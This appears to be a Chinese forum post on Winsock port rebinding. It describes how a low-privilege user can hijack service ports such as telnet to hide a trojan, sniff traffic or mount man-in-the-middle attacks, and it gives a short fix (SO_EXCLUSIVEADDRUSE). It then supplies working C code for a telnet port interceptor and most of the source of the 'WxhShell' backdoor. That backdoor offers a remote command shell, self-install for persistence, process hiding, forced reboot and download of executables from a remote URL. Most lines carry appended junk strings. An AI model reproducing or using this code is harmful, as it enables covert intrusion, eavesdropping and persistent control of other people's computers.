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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: w7Dt1axB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wly>H]i'  
5:gj&jt;)7  
  saddr.sin_family = AF_INET; QUP|FIpZ  
_PB@kH#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); obGWxI%a  
wGXwzU  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wJIB$3OT  
B?(4f2yE  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 oX|?:MS:  
QrS$P09=\  
  这意味着什么?意味着可以进行如下的攻击: z}APR@?`n8  
P/ aDd@j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 t.=Oj  
5+L8\V9;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :('I)C  
W^R'@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ba&o;BLUy  
BlaJl[Piv  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  B7 c[ 4  
.Ty,_3+{#p  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Vipp /WV  
~%P3Pp  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 e[4V%h  
Yo'K pdn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >h7$v~nra  
T&/_e   
  #include nLd~2qBuv  
  #include &z ksRX  
  #include 5P\N"Yjx'  
  #include    _;G=G5r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   iwo$\  
  int main() <IH*\q:7  
  { NhDA7z`b'J  
  WORD wVersionRequested; 4K,''7N3  
  DWORD ret; #WEq-0L   
  WSADATA wsaData; qy9i9$8  
  BOOL val; x7gjG"V  
  SOCKADDR_IN saddr; ak2dn]]D  
  SOCKADDR_IN scaddr; d Uz<1^L  
  int err; uGCtLA+sL  
  SOCKET s; ]L(54q;W  
  SOCKET sc; ,wT g$ g-$  
  int caddsize; B/_6Ieb+  
  HANDLE mt; EIK*49b2  
  DWORD tid;   6+ANAk  
  wVersionRequested = MAKEWORD( 2, 2 ); {Q<0\`A  
  err = WSAStartup( wVersionRequested, &wsaData ); %BICt @E  
  if ( err != 0 ) { h#O"Q+J9n  
  printf("error!WSAStartup failed!\n"); 4?]ZV_BD  
  return -1; 1 PIzV:L\  
  } @LC~*_y   
  saddr.sin_family = AF_INET; J0qXtr%h\  
   V/&o]b   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /s8/q2:  
MCd F!{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i* gKtjx  
  saddr.sin_port = htons(23); "aA_(Ydzj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Xq%*# )M;  
  { O\JD,w  
  printf("error!socket failed!\n"); jJ-d/"(  
  return -1; V0T<eH<  
  } U#"WrWj  
  val = TRUE; :p$EiR  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 D"`[6EN[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) NxB+?  
  { vnVZJ}]w\  
  printf("error!setsockopt failed!\n"); FK3Whe{KP{  
  return -1; \bRy(Z)  
  } $owb3g(%4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %09*l%,;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `{L{wJ:&a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z fqQ {_  
L6kZ2-6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @ AggznA8  
  { 4L11P  
  ret=GetLastError(); '2xcce#  
  printf("error!bind failed!\n"); wzbz }P>  
  return -1; _f66>a<  
  } a+'}XEhSC:  
  listen(s,2); R( GmU4  
  while(1) O&=KlnI:  
  { FdM<;}6T  
  caddsize = sizeof(scaddr); g~|y$T  
  //接受连接请求 .xo_}Vw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 59~FpjJ  
  if(sc!=INVALID_SOCKET) r hZQQOQ  
  { gE1|lY$NL  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e SK((T  
  if(mt==NULL) n5>B LtY  
  { *@~`d*d  
  printf("Thread Creat Failed!\n"); 0QMaM  
  break; <H-tZDh5  
  } _r[r8M B  
  } sU0Stg8&b  
  CloseHandle(mt); hw|t8 ShW  
  } cp|:8 [  
  closesocket(s); n{z8Ao%  
  WSACleanup(); q>P[nz%  
  return 0; S_j1=6 #^  
  }   IY0 3"  
  DWORD WINAPI ClientThread(LPVOID lpParam) e6o/q)9#  
  { hi0XVC95  
  SOCKET ss = (SOCKET)lpParam; B#Qpd7E+*  
  SOCKET sc; r:.6"VQu}  
  unsigned char buf[4096]; U(P:Je  
  SOCKADDR_IN saddr; 5'62ulwMP=  
  long num; f~U#z7  
  DWORD val; R~!\ -6%_  
  DWORD ret; @OY1`Eu O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QYH."7X >  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   89db5Dx  
  saddr.sin_family = AF_INET; f>O54T .L.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7t`E@dm  
  saddr.sin_port = htons(23); :wSJ-\'$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZRX^^yN  
  { 9}.,2JE  
  printf("error!socket failed!\n"); :ao^/&HZ  
  return -1; 4bPqmEE  
  } 6W]OpM  
  val = 100; kHGeCJe\{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dZ.}j&ZH'  
  { Tm%WWbc  
  ret = GetLastError(); "k/;`eAP  
  return -1; Bl=nj.g  
  } v^<<[I2 C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]"C| qR*  
  { =.VepX|?D  
  ret = GetLastError(); ~Ry $>n*/  
  return -1; Nz3zsP$  
  } p .lu4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (6e!09P&  
  { _'H2>V_  
  printf("error!socket connect failed!\n"); TlM'g6SQS  
  closesocket(sc); h_AJI\{"  
  closesocket(ss); A J<iM)l|  
  return -1; u![4=w  
  } <m~T>Ql1  
  while(1) mipi]*ZfXE  
  { q2[+-B)m  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m};~JMo]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l0eANB%Y=@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 luJ{Iq  
  num = recv(ss,buf,4096,0); s4!|v`+$M  
  if(num>0) *K]>}  
  send(sc,buf,num,0); dVasm<lZ  
  else if(num==0) '~ jy  
  break; hVQ7'@  
  num = recv(sc,buf,4096,0); 9m%7dsv  
  if(num>0) e@='Q H  
  send(ss,buf,num,0); Z}]:x `fXd  
  else if(num==0) pA*D/P-  
  break; (k7;  
  } EG'7}W  
  closesocket(ss); i)A`Vpn  
  closesocket(sc); _Cu[s?,kS  
  return 0 ; OI)&vQ5k  
  } Q3 K;kS  
k/$Ja;  
z4 4  
========================================================== oA(. vr  
]s1TJw [B  
下边附上一个代码,,WXhSHELL 4U}.Skzq  
cRs{=RGc  
========================================================== c.|sW2/  
!X \Sp}  
#include "stdafx.h" wxdh?sQ  
,apd3X%g  
#include <stdio.h> tXssejiE%  
#include <string.h> zv$=*  
#include <windows.h> dbf^A1HI  
#include <winsock2.h> k+W  
#include <winsvc.h> sg'Y4  
#include <urlmon.h> k@'?"CP\Xq  
@\x,;!N@  
#pragma comment (lib, "Ws2_32.lib") &6|6J1c8  
#pragma comment (lib, "urlmon.lib") \#h})`  
`D&#U'wB   
#define MAX_USER   100 // 最大客户端连接数 Bbn832iMUY  
#define BUF_SOCK   200 // sock buffer #o(?g-3  
#define KEY_BUFF   255 // 输入 buffer *!-}lc^4  
fJSV)\e0  
#define REBOOT     0   // 重启 (.jO:#eE%  
#define SHUTDOWN   1   // 关机 ?^e*UJNM  
 e B9m4  
#define DEF_PORT   5000 // 监听端口 ;XD>$t@  
IqR[&T)lj  
#define REG_LEN     16   // 注册表键长度 O3sla bE#  
#define SVC_LEN     80   // NT服务名长度 Yke<Wy1  
{[(W4NAlH  
// 从dll定义API \t&n jMWpZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0lvb{Zd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R47I\{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LH?gJ8`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oT9XJwqnv  
C9"f6>i  
// wxhshell配置信息 UgOGBj,&5W  
struct WSCFG { pn ~/!y  
  int ws_port;         // 监听端口 HQ-N!pf9  
  char ws_passstr[REG_LEN]; // 口令 ];YglHH  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]ly)z[is"]  
  char ws_regname[REG_LEN]; // 注册表键名 xc3Ov9`8%  
  char ws_svcname[REG_LEN]; // 服务名 !VJT"Ds_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M8 ^ziZY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )[^:]}%r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8ESkG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _BeX7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gn;nS{A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,=XS%g}l4  
( S C7m /  
}; X:zyzEhS  
/_ hfjCE  
// default Wxhshell configuration g:@Cg.q8  
struct WSCFG wscfg={DEF_PORT, |zr)hC  
    "xuhuanlingzhe", A ydy=sj  
    1, uMq\];7I  
    "Wxhshell", 6 ^6uK  
    "Wxhshell", cSHtl<UY  
            "WxhShell Service", t&p:vXF2  
    "Wrsky Windows CmdShell Service", $yR{ZFo  
    "Please Input Your Password: ", @eG#%6">  
  1, ^YB\\a9  
  "http://www.wrsky.com/wxhshell.exe", T^f&58{ 7  
  "Wxhshell.exe" ] BP^.N=  
    }; 2yVGE p^  
|eVTxeq  
// 消息定义模块 BhhK| U/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +wPvQKVfI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +@<^i?ale  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 37za^n?SG  
char *msg_ws_ext="\n\rExit."; \sXm Mc  
char *msg_ws_end="\n\rQuit."; u+, jAkr  
char *msg_ws_boot="\n\rReboot..."; O7L6Htya  
char *msg_ws_poff="\n\rShutdown..."; XQJV.SVS  
char *msg_ws_down="\n\rSave to "; }gi`?58J6  
@Z1?t%1  
char *msg_ws_err="\n\rErr!"; ua.6?W)  
char *msg_ws_ok="\n\rOK!"; H~1? MAX  
./5MsHfbxt  
char ExeFile[MAX_PATH]; sB*h`vs0T  
int nUser = 0; JqH.QnKcv  
HANDLE handles[MAX_USER]; u0$5Fd&X  
int OsIsNt; Hf E;$  
;*85'WcS  
SERVICE_STATUS       serviceStatus; im^I9G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .jG.90  
8 )2u@sx%  
// 函数声明 ES:p^/=*  
int Install(void); *^&iw$Qx3  
int Uninstall(void); 36D,el In  
int DownloadFile(char *sURL, SOCKET wsh); r:S5x.P2  
int Boot(int flag); k+>p!1  
void HideProc(void); r0XGGLFuZl  
int GetOsVer(void); >=RHE@  
int Wxhshell(SOCKET wsl); ;tIIEc  
void TalkWithClient(void *cs); h^3Vd K,  
int CmdShell(SOCKET sock); E '6 z7m.  
int StartFromService(void); &<; nl^  
int StartWxhshell(LPSTR lpCmdLine); h hNFp  
>+W?!9[p:2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KTS7)2ci  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4 9+}OIX  
c+ H)1Dfq  
// 数据结构和表定义 n*]x02:LjZ  
SERVICE_TABLE_ENTRY DispatchTable[] = A5 J#x6@  
{ /(}l[jf  
{wscfg.ws_svcname, NTServiceMain}, kQ:>j.^e  
{NULL, NULL} E<.{ v\  
}; JjL0/&  
61 HqBa  
// 自我安装 =F; ^^VX  
int Install(void) 7[VCCI g  
{ (l,YI"TzT  
  char svExeFile[MAX_PATH]; ^gVbVz[17  
  HKEY key; Ub-k<]yZ  
  strcpy(svExeFile,ExeFile); 9R<J$e  
{gq:sj>  
// 如果是win9x系统,修改注册表设为自启动 Z{>Y':\?<  
if(!OsIsNt) { z8MpE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -ZMl[;OM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <H(AS'  
  RegCloseKey(key); # v/aI*Rl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b9!J}hto,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #p^pvdvh3  
  RegCloseKey(key); U*#E aL  
  return 0; A 5\"e^>  
    } L?pvz}  
  } JZ*?1S>  
} ,@j& q  
else { ), x3tTR  
=I*ZOE3n  
// 如果是NT以上系统,安装为系统服务 B?>#cpW j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c[e GpZ]  
if (schSCManager!=0) Tlv|To  
{ 3_['[}  
  SC_HANDLE schService = CreateService a>e 1jM[  
  ( 2LK*Cv[  
  schSCManager, jZgnt{  
  wscfg.ws_svcname, `[R:L.H1  
  wscfg.ws_svcdisp, UM;bVf?  
  SERVICE_ALL_ACCESS, Xv;ZAa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D_`)T;<Sp  
  SERVICE_AUTO_START, a~+WL  
  SERVICE_ERROR_NORMAL, z K]%qv]  
  svExeFile, +vY`?k`  
  NULL, jYssz4)tp  
  NULL, F_ lj>;}a5  
  NULL, U8@*I>vA  
  NULL, tw^.(m5d  
  NULL A-NC,3  
  ); \y+F!;IxL  
  if (schService!=0) BB}iBf I'  
  { s#CEhb  
  CloseServiceHandle(schService); x[<#mt  
  CloseServiceHandle(schSCManager); eFI9S.6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >WG91b<Xq  
  strcat(svExeFile,wscfg.ws_svcname); dJgOfg^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GAe_Z( T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4zvU"np  
  RegCloseKey(key); 3xR#,22:}  
  return 0; H<3b+Sg  
    } k{$"-3ed  
  } Z)>a6s$ih<  
  CloseServiceHandle(schSCManager); q+=@kXs>+  
} [ Sa C  
} 5s2}nIe  
HGMH g  
return 1; <. ]&FPJ  
} GoGgw]h>x  
N1zrfn-VU  
// 自我卸载 LWR &(p.%  
int Uninstall(void) FKTP0e7=9  
{ $zH 0$aOx  
  HKEY key; 2G*#Czr"  
`e:RZ  
if(!OsIsNt) { UmMYe4LQR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g0 U\AN  
  RegDeleteValue(key,wscfg.ws_regname); X_yU"U  
  RegCloseKey(key); :BiR6>1:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jywz27j  
  RegDeleteValue(key,wscfg.ws_regname); \^Q)`Lqp:g  
  RegCloseKey(key); &^<T/PiR  
  return 0; !c' ;L'  
  } }tgn1xpx  
} ty8!"-V1  
} JH,fg K+[  
else { m|?J^_  
mAERZ<I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T[II;[EiE  
if (schSCManager!=0) :9< r(22  
{ <J uJ`t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ol^EQLO  
  if (schService!=0) fu;B?mIn  
  { -s84/E4Y*  
  if(DeleteService(schService)!=0) { / 1@m#ZxA:  
  CloseServiceHandle(schService); mh SsOmJ5  
  CloseServiceHandle(schSCManager); vWga>IGM  
  return 0; LU=)\U@Q  
  } uw&,pq  
  CloseServiceHandle(schService); #GJh:#tt^  
  } QiL  
  CloseServiceHandle(schSCManager); tXuxTVhoT  
} Q(Y,p`>  
} +VFwYdW,  
pIjVJ9+j  
return 1; m eWq9:z  
} dQ"W~ig  
QAw,XZ.K^  
// 从指定url下载文件 3Q"+ #Ob  
int DownloadFile(char *sURL, SOCKET wsh) Tj~#Xc  
{ U~c;W@T  
  HRESULT hr; U6 R4UK  
char seps[]= "/"; L-TVe  
char *token; 'Z9F0l"Nr  
char *file; Y3&ecEE  
char myURL[MAX_PATH]; F'Vl\qPt  
char myFILE[MAX_PATH]; sM_e_e  
oVgNG!/c0  
strcpy(myURL,sURL); }# ^Pb M  
  token=strtok(myURL,seps); y=`(`|YW}`  
  while(token!=NULL) H2KY$;X [  
  { =l9#/G#R  
    file=token; CT`X~y10  
  token=strtok(NULL,seps); HK.J/Zr  
  } H!=BjU1Pmg  
bME3" e{O  
GetCurrentDirectory(MAX_PATH,myFILE); w#b2iE+Bw  
strcat(myFILE, "\\"); }e@-[RJ!  
strcat(myFILE, file); nJ@hzK.  
  send(wsh,myFILE,strlen(myFILE),0); {bEEQCweNJ  
send(wsh,"...",3,0); | Ylk`<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v%Xe)D   
  if(hr==S_OK) w\4m -Z{  
return 0; !X_~|5.  
else e@By@r&nql  
return 1; %j; cXN  
G-<~I#k  
} aC` c^'5  
v Rs5-T  
// 系统电源模块 m$g^On  
int Boot(int flag) C_)>VPD  
{ iB-s*b<`~  
  HANDLE hToken; K@hUif|([  
  TOKEN_PRIVILEGES tkp; _ RYZyw   
K@lV P!z  
  if(OsIsNt) { JR)rp3o-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %W+ F e,]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iHB)wC`u  
    tkp.PrivilegeCount = 1; DVH><3FF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +.cv,1Vx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |SleSgS<#  
if(flag==REBOOT) { i|GC 'XD@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ARo5 Ss{  
  return 0; s9>!^MzBK  
} S#dS5OX  
else { }IL@j A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Awh)@iTL  
  return 0; m ws.)  
} eW%jDsC  
  } RdHR[Usm  
  else { `Mg "!n`  
if(flag==REBOOT) { eo[^ij  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7m:,-xp  
  return 0; i/z7a%$   
} ],|B4\b;  
else { ^e ii 4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8EA?'~"  
  return 0; IgL8u  
} *Y~64FM  
} Po3W+; @  
f_8~b0`  
return 1; jEIL(0_H  
} %|>i2  
jK53-tF~I  
// win9x进程隐藏模块 ;*p} ~#2  
void HideProc(void) Q{60^vg  
{ 7j8_O@_  
;q2T*4NN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6~LpBlb  
  if ( hKernel != NULL ) Ok!{2$P8U9  
  { &@+; ]t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Sy~1U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K#@FKv|("  
    FreeLibrary(hKernel); 4NIfQYC.  
  } $P_Y8:  
clNP9{  
return; jC%I]#!n  
} ! ZEKvW  
/_\4( vvf  
// 获取操作系统版本 /Y:Zqk3  
int GetOsVer(void) HFOp4  
{ ^Tx1y[hw$  
  OSVERSIONINFO winfo; 5]E5V@C   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p WHu[Fu  
  GetVersionEx(&winfo); ~m7+^c@,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vNIQc "\-  
  return 1; ,U}8(D~:  
  else 75y#^pD?c  
  return 0; "5Mo%cUp  
} z~qQ@u|  
Qw:j2g2H7  
// 客户端句柄模块 KMV!Hqkk  
int Wxhshell(SOCKET wsl) ff0,K#-  
{ syF/jWM5  
  SOCKET wsh; (!s[~O6  
  struct sockaddr_in client; jk@]d5  
  DWORD myID; d<o  
^_uzr}LE`  
  while(nUser<MAX_USER) YQ/ *|  
{ z5I<,[`  
  int nSize=sizeof(client); _PF><ODX2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q2y:b qLWl  
  if(wsh==INVALID_SOCKET) return 1; @p;4g_F  
.;'xm_Gw<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AO6;aT  
if(handles[nUser]==0) jo;n~>3P  
  closesocket(wsh); /Q-!><riD  
else PLD!BD  
  nUser++; s6I]H  
  } <OUAppH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c1i7Rc{q  
>qCT#TY  
  return 0; 0Ko,S(M_  
} TR|; /yJ  
9pXFC9  
// 关闭 socket dU,/!|.K  
void CloseIt(SOCKET wsh) \ iFE,z  
{ (ZYOm  
closesocket(wsh); < qBPN{'a"  
nUser--; dZ*o H#B  
ExitThread(0); LBg#KQ @  
} +]#>6/2q  
V47 Fp  
// 客户端请求句柄 @azS)4L  
void TalkWithClient(void *cs) WKG=d]5  
{ 1na[=Q2  
ep5aBrN]"  
  SOCKET wsh=(SOCKET)cs; L>B0%TP^  
  char pwd[SVC_LEN]; GCrN:+E0FJ  
  char cmd[KEY_BUFF]; N`M5`=.  
char chr[1]; x K/`XY  
int i,j; &("?6%GC  
&7 ,wdG  
  while (nUser < MAX_USER) { T*oH tpFj#  
hRP0Djc  
if(wscfg.ws_passstr) { ,#crtX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A)xI. Q6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .+y#7-#6  
  //ZeroMemory(pwd,KEY_BUFF); zMa`olTZ  
      i=0; ` F)Iv:;y,  
  while(i<SVC_LEN) { ^/c|s!U^  
U5Y*xm<  
  // 设置超时 @:Ns`+ W*  
  fd_set FdRead; Th8xh=F[  
  struct timeval TimeOut; ZrTq)BZ  
  FD_ZERO(&FdRead); thh, V   
  FD_SET(wsh,&FdRead); ?F-,4Ox{/  
  TimeOut.tv_sec=8; 1xw},y6T2  
  TimeOut.tv_usec=0; Uc4r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J(Bn  n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m'pihFR:f  
VAq:q8(K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !n7?w@2a'  
  pwd=chr[0]; p'H5yg3h  
  if(chr[0]==0xd || chr[0]==0xa) { 8w{V[@QLn  
  pwd=0; 0xC!d-VIJ  
  break; dWI\VS9  
  } w(vf>L6(  
  i++; 9`xq3EL2T  
    } XLtuck  
`p!.K9r7   
  // 如果是非法用户,关闭 socket lB-Njr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  (vY10W{  
} L9x,G!  
U*-%V$3+w5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kr3ZqMfeI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V@$B>HeK  
z.QW*rW9  
while(1) { Cnn,$R=/s  
IRpCbTIXK  
  ZeroMemory(cmd,KEY_BUFF); 9<R:)Df  
o:?IT/>  
      // 自动支持客户端 telnet标准   7QQnvoP  
  j=0; hVd63_OO  
  while(j<KEY_BUFF) { QPBf++|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +'[iyHBJ  
  cmd[j]=chr[0]; 3m x7[Q  
  if(chr[0]==0xa || chr[0]==0xd) { blLX ncyD  
  cmd[j]=0; m^TkFt<BM  
  break; ;$W|FpR2  
  } +ux,cx.U"  
  j++; *`dGapd3  
    } [x@iqFO9  
9{+B l NZ  
  // 下载文件 &)rmv  
  if(strstr(cmd,"http://")) { 3iY`kf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z!*Wn`d-k  
  if(DownloadFile(cmd,wsh)) /ZAEvdO*P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); " I:j a7  
  else '06[@Cw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,\Cy'TSz  
  } C<{k[!N%zm  
  else { &ed.%:  
P*\.dAi  
    switch(cmd[0]) { ]E,  
  =s;7T!7!  
  // 帮助 $[IuEdc/  
  case '?': { _v_ak4m>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +|^rz#X  
    break; P}cGWfj  
  } d~qDQ6!  
  // 安装 [~$9n_O94  
  case 'i': { 42Z2Mjtk  
    if(Install()) J.~$^-&!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); htIV`_<Ro  
    else RFqbwPX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U#YM)8;Iz  
    break; ni9/7  
    } U*)pUJ{&t  
  // 卸载 hMi`n6m  
  case 'r': { ^ng?+X>mP  
    if(Uninstall()) Zsaz#z|xW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VNF@)!l  
    else Zpg$:Rr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 75gE>:f  
    break; Dk/;`sXV  
    } 9^ )=N=wV  
  // 显示 wxhshell 所在路径 #p0vrQ;5f  
  case 'p': { ?FD^S~bz-  
    char svExeFile[MAX_PATH]; {]`O$S  
    strcpy(svExeFile,"\n\r"); K o,O!T.  
      strcat(svExeFile,ExeFile); e3&R3{  
        send(wsh,svExeFile,strlen(svExeFile),0); {5:y,=Y  
    break; Qb/qUUQO;0  
    } FhW\23OC  
  // 重启 |]^OX$d  
  case 'b': { 4h?[NOA"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9=Y-w s  
    if(Boot(REBOOT)) EZao\,t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .#P'NF(5#  
    else { *uNa( yd  
    closesocket(wsh); S$ dFz  
    ExitThread(0); Q!MS_ #O  
    }  #\Lt0  
    break; 2B5Z0<  
    } m%l\EE  
  // 关机 ,{7Z OzA  
  case 'd': { 8h}o5B  
